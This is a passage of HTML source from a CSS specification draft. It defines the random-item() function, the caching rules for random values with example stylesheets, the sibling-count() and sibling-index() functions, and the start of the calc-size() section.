id="ref-for-funcdef-random-item②">random-item()</a> function<a class="self-link" href="#random-item"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-random-item">random-item()</dfn> function resolves to a random item from among its list of items. <pre class="prod highlight"><<c- nf>random-item</c-><c- p>()</c->> = <c- nf>random-item</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options⑤"><random-caching-options></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②④"><c- p>,</c-></a> <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①⑥"><declaration-value></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt①⑤">?</a> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-comma" id="ref-for-mult-comma④">#</a> <c- p>)</c-> </pre> The required <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options⑥"><random-caching-options></a> is interpreted identically to <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①②">random()</a>. (See <a href="#random-caching">§ 8.3 Generating/Caching Random Values: the <random-caching-options> value</a> for details.) <div class="note" role="note"> Like <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①③">random()</a>, the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident③"><dashed-ident></a> can be used to force similar <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item③">random-item()</a> functions to generate distinct random values, and per-element causes it to resolve to a distinct value on each element. Aside from these, the grouping of <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item④">random-item()</a> functions as "identical" is much simpler: all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index: either <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-4/#valdef-color-red" id="ref-for-valdef-color-red">red</a> and 1, or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-4/#valdef-color-blue" id="ref-for-valdef-color-blue">blue</a> and 2, or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-4/#valdef-color-green" id="ref-for-valdef-color-green">green</a> and 3. This allows coordination between groups of properties that all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other; any of the 12 possible combinations can occur. </div> Note: The <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options⑦"><random-caching-options></a> argument is required in <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item⑤">random-item()</a>, but optional in <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①④">random()</a>, both for parsing reasons (it’s impossible to tell whether random-item(--foo, --bar, --baz) has three <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①⑦"><declaration-value></a> arguments or two and a <random-caching-options> argument), and because accidentally associating the random generation of random-item() functions together is much easier to do accidentally, since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values. The <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item⑦">random-item()</a> function resolves to one of these sequences, chosen uniformly at random. The <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item⑧">random-item()</a> function is an <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function⑦">arbitrary substitution function</a>, like <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①⓪">var()</a>. <div class="note" role="note"> That is, if you use <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item⑨">random-item()</a>: <ul> <li data-md> So long as <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①⓪">random-item()</a> itself (and any other <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function⑧">arbitrary substitution functions</a>) is syntactically valid, the entire property is assumed to be valid at parse time. <li data-md> <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①①">random-item()</a> is substituted with whatever value it resolves to at <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①⑧">computed value</a> time when you’d <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#substitute-a-var" id="ref-for-substitute-a-var">substitute a var()</a>, so children all inherit the same resolved value. <li data-md> If the substituted value ends up making the property invalid, the property’s value becomes the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value⑦">guaranteed-invalid value</a>. </ul> </div> <a class="self-link" href="#issue-36f85add"></a> Define <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function⑨">arbitrary substitution function</a>, probably over in Variables, since we have several upcoming functions leaning on this functionality. <a class="self-link" href="#issue-56846ba6"></a> Since <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①②">random-item()</a> is var()-like, we probably want to restrict it to only be usable in properties. (This is likely something we want to apply to all such functions.) Tho <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①⑤">random()</a> is a fundamentally different kind of value, we probably want to restrict it as well, for thematic consistency. <h3 class="heading settled" data-level="8.3" id="random-caching">8.3. Generating/Caching Random Values: the <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options⑨"><random-caching-options></a> value<a class="self-link" href="#random-caching"></a></h3> In a programming language like JavaScript, there’s a clear temporal ordering to code, so you can tell exactly when something like a call to <code class="idl"><a data-link-type="idl" href="https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-math.random" id="ref-for-sec-math.random">Math.random()</a></code> is evaluated. You can also store the results in a variable, making it clear when you’re reusing a single random value in multiple places, versus using a distinct random value in each location. CSS, on the other hand, is a declarative language (code is not "executed" in any particular order, nor is there any control over how many times something is "executed"); it makes it very easy to apply identical styles to multiple elements but difficult to specify distinct values for each of them (making it unclear whether a property using <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①⑥">random()</a> is meant to resolve to the same value on each element it’s applied to or to distinct values on each); and it has very limited "variable" functionality (making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues, the <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①⑦">random()</a> and <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①③">random-item()</a> functions are defined to generate random values under the following caching semantics: <ul> <li data-md> Each instance of <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①⑧">random()</a> or <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①④">random-item()</a> in a stylesheet specifies a <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="random-caching-key">random-caching key</dfn>. Two instances of either function must resolve to identical values if their <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key">random-caching keys</a> are identical; they must resolve to distinct values if they’re different. ("Distinct" here means generated by a fresh random operation; this might coincidentally result in the same value as another random operation.) <li data-md> For <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random①⑨">random()</a>, the <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key①">random-caching key</a> is a <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#tuple" id="ref-for-tuple">tuple</a> of: <ol> <li data-md> The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value④">used value</a> of the minimum <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation①①">calculation</a>. <li data-md> The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value⑤">used value</a> of the maximum <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation①②">calculation</a>. <li data-md> The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value⑥">used value</a> of the step <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#calc-calculation" id="ref-for-calc-calculation①③">calculation</a>, if present, or null otherwise. <li data-md> The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident④"><dashed-ident></a> part of the <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options①⓪"><random-caching-options></a>, if present, or null otherwise. <li data-md> If per-element is specified in the <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options①①"><random-caching-options></a>, a unique value per element or pseudo-element the function appears in. </ol> <li data-md> For <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item①⑤">random-item()</a>, the <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key②">random-caching key</a> is a <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#tuple" id="ref-for-tuple①">tuple</a> of: <ol> <li data-md> The number of arguments to the function. <li data-md> The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dashed-ident" id="ref-for-typedef-dashed-ident⑤"><dashed-ident></a> part of the <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options①②"><random-caching-options></a>, if present, or null otherwise. <li data-md> If per-element is specified in the <a class="production css" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options①③"><random-caching-options></a>, a unique value per element or pseudo-element the function appears in. </ol> </ul> The "unique value per element or pseudo-element" must have the same lifetime as a JavaScript reference to the element (or to the <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#originating-element" id="ref-for-originating-element①">originating element</a> + sufficient additional info to uniquely identify the pseudo-element). Elements in separate documents (including across refreshes of the same page, which produces distinct documents with distinct elements) should have distinct unique values. (This is not strictly required, to allow for pseudo-random generation of these values, but uniqueness should be likely enough that authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operation when invoked on different documents (including refreshes of the same page). This element-unique value must be obtained at <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①⑨">computed value</a> time, before inheritance, so that a random function which is unresolved by inheritance time (due to containing, for example, a layout-sensitive percentage) does not have a different behavior on children from one that resolves immediately. <div class="example" id="example-c0f8e859"> <a class="self-link" href="#example-c0f8e859"></a> For example, in the following stylesheet: <pre class="highlight">.random-square <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> The <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key③">random-caching keys</a> for both functions are identical: <code class="highlight"><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>,</c-> null<c- p>,</c-> null<c- p>,</c-> null<c- p>)</c-></code>. This means that both will resolve to the exact same value, guaranteeing a square element with a size somewhere between 100px and 500px. Additionally, every .random-square element will have the same size. On other hand, in this stylesheet: <pre class="highlight">.random-rect <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c->--x<c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> The <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key④">random-caching keys</a> are distinct between the two functions: the function in <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width③">width</a> has <code class="highlight"><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>,</c-> null<c- p>,</c-> null<c- p>,</c-> null<c- p>)</c-></code>, while the function in <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-height" id="ref-for-propdef-height">height</a> has <code class="highlight"><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>,</c-> null<c- p>,</c-> --x<c- p>,</c-> null<c- p>)</c-></code>. This means the two functions will resolve to distinct random values, making it very unlikely for the element to be square. However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key. The following two declarations are similarly distinct, resulting in the width and height having no connection to each other: <pre class="highlight">.random-rect-2 <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>,</c-> by <c- m>50</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> But so long as the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value⑦">used values</a> end up identical, two functions that look distinct might end up identical. For example, in the following code: <pre class="highlight">.random-square-2 <c- p>{</c-> <c- k>font-size</c-><c- p>:</c-> <c- m>16</c-><c- k>px</c-><c- p>;</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>160</c-><c- k>px</c-><c- p>,</c-> <c- m>320</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>10</c-><c- k>em</c-><c- p>,</c-> <c- m>20</c-><c- k>em</c-><c- p>);</c-> <c- p>}</c-> </pre> The two functions superficially look different, but after the lengths are fully resolved they end up with identical <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key⑤">random-caching keys</a>; each is <code class="highlight"><c- p>(</c-><c- m>160</c-><c- k>px</c-><c- p>,</c-> <c- m>320</c-><c- k>px</c-><c- p>,</c-> null<c- p>,</c-> null<c- p>,</c-> null<c- p>)</c-></code>, so actually the widths and heights will end up always identical. </div> <div class="example" id="example-113f656c"> <a class="self-link" href="#example-113f656c"></a> By default, each instance of a <a class="css" data-link-type="maybe" href="#funcdef-random" id="ref-for-funcdef-random②⓪">random()</a> function in a stylesheet essentially resolves to a static value, which is then shared by every element that property applies to. This behavior can be changed with the per-element keyword. For example, in: <pre class="highlight">.foo <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> Multiple elements matching .foo will end up with the same random width. But in: <pre class="highlight">.foo <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c->per-element<c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element, not per value necessarily. For example, in: <pre class="highlight">.random-squares <c- p>{</c-> <c- k>width</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c->per-element<c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c->per-element<c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- p>}</c-> </pre> Every element matching .random-squares will get a distinct random value, but that value will be the same for <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width④">width</a> and <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-height" id="ref-for-propdef-height①">height</a> on a given element, making the element square. This is because in both properties the <a data-link-type="dfn" href="#random-caching-key" id="ref-for-random-caching-key⑥">random-caching key</a> is <code class="highlight"><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>,</c-> null<c- p>,</c-> null<c- p>,</c-> <c- p>[</c->unique value for the element<c- p>])</c-></code>, so both functions will resolve to the same length on a single element. This makes random values in <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#custom-property" id="ref-for-custom-property⑦">custom properties</a> act more predictably. The preceding code could also be written as: <pre class="highlight">.foo <c- p>{</c-> <c- k>--size</c-><c- p>:</c-> <c- nf>random</c-><c- p>(</c->per-element<c- p>,</c-> <c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>);</c-> <c- k>width</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--size<c- p>);</c-> <c- k>height</c-><c- p>:</c-> <c- nf>var</c-><c- p>(</c->--size<c- p>);</c-> <c- p>}</c-> </pre> </div> <h2 class="heading settled" data-level="9" id="tree-counting">9. Tree Counting Functions: the <a class="css" data-link-type="maybe" href="#funcdef-sibling-count" id="ref-for-funcdef-sibling-count">sibling-count()</a> and <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index①">sibling-index()</a> notations<a class="self-link" href="#tree-counting"></a></h2> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-sibling-count">sibling-count()</dfn> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation⑨">functional notation</a> represents, as an <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#integer-value" id="ref-for-integer-value①"><integer></a>, the total number of child <a data-link-type="dfn" href="https://www.w3.org/TR/css-display-3/#elements" id="ref-for-elements">elements</a> in the parent of the element on which the notation is used. The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-sibling-index">sibling-index()</dfn> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation①⓪">functional notation</a> represents, as an <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#integer-value" id="ref-for-integer-value②"><integer></a>, the index of the element on which the notation is used among the children of its parent. Like <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/selectors-4/#nth-child-pseudo" id="ref-for-nth-child-pseudo">:nth-child()</a>, <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index②">sibling-index()</a> is 1-indexed. Note: The <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-lists-3/#funcdef-counter" id="ref-for-funcdef-counter">counter()</a> function can provide similar abilities as <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index③">sibling-index()</a>, but returns a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value⑨"><string></a> rather than an <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#integer-value" id="ref-for-integer-value③"><integer></a>. When used on a <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#pseudo-element" id="ref-for-pseudo-element">pseudo-element</a>, these both resolve as if specified on its <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#ultimate-originating-element" id="ref-for-ultimate-originating-element">ultimate originating element</a>. Note: Like the rest of CSS (other than <a data-link-type="dfn" href="https://www.w3.org/TR/selectors-4/#selector" id="ref-for-selector">selectors</a>), <a class="css" data-link-type="maybe" href="#funcdef-sibling-count" id="ref-for-funcdef-sibling-count①">sibling-count()</a> and <a class="css" data-link-type="maybe" href="#funcdef-sibling-index" id="ref-for-funcdef-sibling-index④">sibling-index()</a> operate on the <a data-link-type="dfn" href="https://drafts.csswg.org/css-scoping-1/#flat-tree" id="ref-for-flat-tree">flat tree</a>. Note: These functions may, in the future, be extended to accept an of <a class="production css" data-link-type="type" href="https://drafts.csswg.org/selectors-4/#typedef-complex-real-selector-list" id="ref-for-typedef-complex-real-selector-list"><complex-real-selector-list></a> argument, similar to <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/selectors-4/#nth-child-pseudo" id="ref-for-nth-child-pseudo①">:nth-child()</a>, to filter on a subset of the children. <h2 class="heading settled" data-level="10" id="calc-size">10. Calculating With Intrinsic Sizes: the <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size">calc-size()</a> function<a class="self-link" href="#calc-size"></a></h2> When transitioning between two <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite">definite</a> sizes, or slightly adjusting an existing definite size, <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc④">calc()</a> works great: halfway between 100% and 20px is calc(50% + 10px), 20% with a margin of 15px on either side is calc(20% + 15px * 2), etc. But these operations are no longer possible if the size you want to adjust or transition to/from is an <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#intrinsic-size" id="ref-for-intrinsic-size">intrinsic size</a>, for both practical and backward-compatibility reasons. The <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size①">calc-size()</a> function allows math to be performed on intrinsic sizes in a safe, well-defined way. <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="function" data-export data-lt="calc-size()" id="funcdef-calc-size"><<c- nf>calc-size</c-><c- p>()</c->></dfn> = <c- nf>calc-size</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-calc-size-basis" id="ref-for-typedef-calc-size-basis"><calc-size-basis></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma②⑤"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①⑨"><calc-sum></a> <c- p>)</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-calc-size-basis"><calc-size-basis></dfn> = <c- p>[</c-> <a class="production" data-link-type="type" href="#typedef-intrinsic-size-keyword" id="ref-for-typedef-intrinsic-size-keyword"><intrinsic-size-keyword></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪⑤">|</a> <a class="production" data-link-type="function" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size②"><<c- nf>calc-size</c-><c- p>()</c->></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪⑥">|</a> any <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪⑦">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②⓪"><calc-sum></a> <c- p>]</c-> </pre> The <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-intrinsic-size-keyword"><intrinsic-size-keyword></dfn> production matches any <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#intrinsic-size" id="ref-for-intrinsic-size①">intrinsic size</a> keywords allowed in the context. For example, in <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width⑤">width</a>, it matches <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-auto" id="ref-for-valdef-width-auto①">auto</a>, <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-min-content" id="ref-for-valdef-width-min-content">min-content</a>, <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-4/#valdef-width-stretch" id="ref-for-valdef-width-stretch">stretch</a>, etc. <details class="note"> <summary>Why can <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size③">calc-size()</a> be nested?</summary> Allowing <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size④">calc-size()</a> as the basis argument means that authors can use a variable as the basis (like calc-size(var(--foo), size + 20px)) and it will always work as long as the variable was originally valid for the property. Doing the same with just <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc⑤">calc()</a> doesn’t work - for example, if you have <a class="css" data-link-type="propdesc">--foo: calc-size(min-content, size + 20px)</a>, or even just --foo: min-content, then calc( (var(--foo)) + 20px ) fails. The nesting is simplified away during interpolation, and at used-value time, so the basis always ends up as a simple value by the time interpolation and other effects occur; see <a href="#simplifying-calc-size">§ 10.1 Simplifying calc-size()</a>. </details> The first argument given is the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="calc-size-basis">calc-size basis</dfn>, and the second is the <dfn class="dfn-paneled" data-dfn-type="dfn" data-noexport id="calc-size-calculation">calc-size calculation</dfn>. For either argument, if a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum②①"><calc-sum></a> is given, its <a data-link-type="dfn" href="https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-type" id="ref-for-cssnumericvalue-type">type</a> must <a data-link-type="dfn" href="https://www.w3.org/TR/css-typed-om-1/#cssnumericvalue-match" id="ref-for-cssnumericvalue-match">match</a> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①⑨"><length-percentage></a>, and it must resolve to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value①⓪"><length></a>. Within the <a data-link-type="dfn" href="#calc-size-calculation" id="ref-for-calc-size-calculation">calc-size calculation</a>, if the <a data-link-type="dfn" href="#calc-size-basis" id="ref-for-calc-size-basis">calc-size basis</a> is not <a class="css" data-link-type="maybe" href="#valdef-calc-size-any" id="ref-for-valdef-calc-size-any">any</a>, the keyword <dfn class="dfn-paneled css" data-dfn-for="calc-size()" data-dfn-type="value" data-export id="valdef-calc-size-size">size</dfn> is allowed. This keyword is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value①①"><length></a>, and resolves at <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value⑧">used value</a> time. <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size⑤">calc-size()</a> represents an <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#intrinsic-size" id="ref-for-intrinsic-size②">intrinsic size</a>. It is specifically not a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value①②"><length></a>; any place that wants to accept a calc-size() must explicitly include it in its grammar. <details class="note"> <summary>Why not just allow intrinsic keywords in <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc⑥">calc()</a>?</summary> In theory, rather than introducing <a class="css" data-link-type="maybe" href="#funcdef-calc-size" id="ref-for-funcdef-calc-size⑦">calc-size()</a>, we could have defined calc(auto * .5) to be valid, allowing interpolation to work as normal. This has the minor issue that mixing keywords still wouldn’t be allowed, but it wouldn’t be as obvious (that is, calc((min-content + max-content)/2) looks reasonable, but would be disallowed). The larger issue, tho, is that this wouldn’t allow us to smoothly transition percentages. calc(50%) is only half the size of calc(100%) when percentages are <a data-link-type="dfn" href="https://www.w3.org/TR/css-sizing-3/#definite" id="ref-for-definite①">definite</a> in the context; if they’re not, the two values will usually be the same size (depending on the context, either 0px or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-sizing-3/#valdef-width-auto" id="ref-for-valdef-width-auto②">auto</a>-sized). Using a new function that explicitly separates the size you’re calculating with from the calculation itself lets us get smooth interpolation in all cases. An additional consideration is that there are many effects, some small and some large, that depend on whether an element is intrinsically sized or definite. Using <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc⑦">calc()</a> would mean that the answer to the question "is the element intrinsically-sized" can have one answer in the middle of a transition ("yes", for calc(min-content * .2 + 20px * .8))), but a different answer at the end of the transition ("no", for calc(20px)), causing the layout to jump at the end of an otherwise-smooth transition. (This is similar to the stacking-layer changes that can occur when animating from opacity:1 to <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/css-color-4/#propdef-opacity" id="ref-for-propdef-opacity">opacity: 0</a>; any non-1 value forces a stacking context. With opacity you can get around this by animating to .999, which is visually indistinguishable from 1 but forces a stacking context. It’s not as reasonable to ask people to animate to calc(auto * .0001) to ensure it retains its intrinsic-ness.) Again, using a new function that identifies itself as being inherently an intrinsic size, like calc-size(auto, 20px), means we can maintain stable layout behaviors the entire time, even when the actual size is a definite length. </details> <h3 class="heading settled" data-level="10.1" 